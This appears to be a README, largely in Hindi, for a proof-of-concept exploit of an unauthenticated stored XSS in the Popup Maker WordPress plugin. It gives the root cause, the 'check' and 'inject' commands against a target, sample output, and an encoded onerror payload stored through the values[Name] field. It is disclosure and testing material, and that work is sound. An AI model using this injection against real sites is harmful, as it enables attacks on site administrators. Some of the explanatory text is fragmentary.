Shell PoC CVE-2026-87915 के लिए, जो Popup Maker WordPress plugin (<=1.24.0) में एक unauthenticated stored XSS है। यह plugin की fingerprinting करता है और payload injection प्रदर्शित करता है।
| घटक | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (WordPress प्लगइन) |
| प्रकार | CWE-79 — संग्रहीत क्रॉस-साइट स्क्रिप्टिंग |
| प्रभावित | <= 1.24.0 |
| ठीक किया गया | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
एक सार्वजनिक Popup Maker ऑप्टिन/न्यूज़लेटर फ़ॉर्म values[Name] पैरामीटर को बिना सैनिटाइज़ेशन के स्वीकार करता है
(action=pum_sub_form)। मान सर्वर-साइड पर संग्रहीत किया जाता है और बाद में एडमिन Subscribers स्क्रीन में
रेंडर किया जाता है। आउटपुट पर लागू किया गया wp_kses() फ़िल्टरिंग इस संदर्भ में अपर्याप्त है: अनुमत
एट्रिब्यूट मानों के अंदर HTML एंटिटीज़ नॉर्मलाइज़ेशन से बच जाती हैं और जब कोई एडमिनिस्ट्रेटर किसी
संदर्भ-सहायता टैब एंकर पर क्लिक करता है तो wp-admin/js/common.js में jQuery( link.attr('href') ) DOM सिंक
द्वारा मूल्यांकित की जाती हैं। शुद्ध प्रभाव: एक एडमिनिस्ट्रेटर के विरुद्ध अनधिकृत संग्रहीत XSS
(एडमिन पक्ष पर एक क्लिक आवश्यक)।
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
inject डिफ़ॉल्ट रूप से एक अद्वितीय परीक्षण ईमेल का उपयोग करता है और क्लीनअप चरणों को प्रिंट करता है (एडमिन UI या
DELETE FROM wp_pum_subscribers WHERE email = '…';)।
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject, लैब)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (लोअरकेस) सामान्य फ़ील्ड है; मिश्रित-केस values[Name] PHP ऐरे-की नॉर्मलाइज़ेशन के दौरान
टकराव करता है और पेलोड को पार ले जाता है।wp_kses() <a href> एलिमेंट की अनुमति देता है; एट्रिब्यूट के अंदर एंटिटी-एन्कोडेड ``
फ़िल्टरिंग से बच जाता है और बाद में डिकोड/नॉर्मलाइज़ किया जाता है।wp-admin/js/common.js jQuery( link.attr('href') ) का मूल्यांकन करता है, जो डिकोड किए गए HTML को
पार्स करता है और onerror हैंडलर को ट्रिगर करता है।esc_html() + sanitize_text_field();
classes/Admin/Subscribers/Table.php के लिए विक्रेता चेंजसेट देखें)।values[Name] को फ़िल्टर करें।केवल अधिकृत सुरक्षा परीक्षण के लिए। check रीड-ओनली है; inject ठीक एक परीक्षण
सब्सक्राइबर पंक्ति बनाता है — बाद में प्रिंट किए गए क्लीनअप कमांड से इसे हटा दें।